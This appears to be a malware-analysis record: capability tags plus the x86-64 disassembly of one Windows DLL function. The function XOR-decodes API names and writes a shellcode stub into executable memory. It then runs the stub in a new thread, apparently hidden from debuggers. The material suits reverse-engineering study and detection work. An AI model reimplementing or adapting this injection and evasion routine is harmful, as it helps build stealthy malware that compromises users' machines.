Function at 0x180041a70
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Parse pe header
Resume thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xe0
mov rax, qword [0x180054020]
xor rax, rsp
mov qword [rbp + 0x1f], rax
cmp byte [0x18004c179], 0
movsd xmm0, qword [str.GPYZ]
movzx eax, word [0x18004c178]
movsd qword [rbp - 0x49], xmm0
mov word [rbp - 0x41], ax
mov dword [rbp - 0x39], 0x28ec8348
mov dword [rbp - 0x35], 0x74c98548
mov dword [rbp - 0x31], 0x18b480e
mov dword [rbp - 0x2d], 0x74c08548
mov dword [rbp - 0x29], 0x498b4806
mov dword [rbp - 0x25], 0x48d0ff08
mov dword [rbp - 0x21], 0xc328c483
je 0x180041b14
xor byte [rbp - 0x48], 0x33
xor byte [rbp - 0x47], 0x34
xor byte [rbp - 0x46], 0x35
xor byte [rbp - 0x45], 0x36
xor byte [rbp - 0x44], 0x37
xor byte [rbp - 0x43], 0x38
xor byte [rbp - 0x42], 0x39
xor byte [rbp - 0x41], 0x3a
xor byte [rbp - 0x40], 0x3b
mov byte [rbp - 0x49], 0x6e
lea rcx, [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [0x18004c168]
mov rbx, rax
movups xmm0, xmmword [0x18004c158]
mov dword [rbp - 9], ecx
movzx ecx, word [0x18004c16c]
mov word [rbp - 5], cx
movzx ecx, byte [0x18004c16e]
mov byte [rbp - 3], cl
xor ecx, ecx
cmp dword [0x180054028], 2
movups xmmword [rbp - 0x19], xmm0
jl 0x180041cdf
movdqa xmm0, xmmword [0x18004c400]
lea rdx, [rbp - 0x15]
movdqa xmm5, xmmword [0x18004c360]
mov eax, 1
movdqa xmm4, xmmword [0x18004c3f0]
movaps xmmword [rsp + 0xd0], xmm6
movaps xmmword [rsp + 0xc0], xmm7
movdqa xmm7, xmmword [0x18004c3a0]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 7], xmm0
mov r8d, dword [rbp + 7]
movaps xmmword [rsp + 0xb0], xmm8
movd xmm8, eax
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x18004c3e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x18004c3e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
pxor xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x10
jl 0x180041bc0
movaps xmm8, xmmword [rsp + 0xb0]
movaps xmm7, xmmword [rsp + 0xc0]
movaps xmm6, xmmword [rsp + 0xd0]
cmp ecx, 0x17
jge 0x180041d1c
movsxd rax, ecx
lea r8, [rbp - 0x19]
add r8, rax
nop dword [rax]
mov eax, 0x94f2095
lea r8, [r8 + 1]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, cl
inc ecx
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp ecx, 0x17
jl 0x180041cf0
lea rdx, [rbp - 0x19]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov eax, 0x5a4d
cmp word [rbx], ax
je 0x180041d3a
xor ecx, ecx
jmp 0x180041d4b
movsxd rax, dword [rbx + 0x3c]
cmp dword [rax + rbx], 0x4550
jne 0x180041d36
mov ecx, dword [rax + rbx + 0x50]
mov edi, ecx
lea r9, [rbp + 0x17]
add rdi, rbx
mov edx, pe_nt_image_headers64
mov r8d, 0x40
lea rcx, [rdi - 0x400]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
mov edx, pe_nt_image_headers64
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor edx, edx
mov r8d, 0xf8
mov rbx, rax
lea rcx, [rax + 8]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [rbp - 0x39]
lea rax, [0x180041980]
mov ecx, dword [rbp - 0x21]
movsd xmm1, qword [rbp - 0x29]
movups xmmword [rdi - 0x400], xmm0
movsd qword [rdi - 0x3f0], xmm1
mov dword [rdi - 0x3e8], ecx
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x30], 0
lea r9, [rdi - 0x400]
mov rcx, rax
mov dword [rsp + 0x28], 0
xor r8d, r8d
mov qword [rsp + 0x20], rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov rbx, rax
lea edx, [r9 + 0x11]
call rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1f]
xor rcx, rsp
call fcn.180042310
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret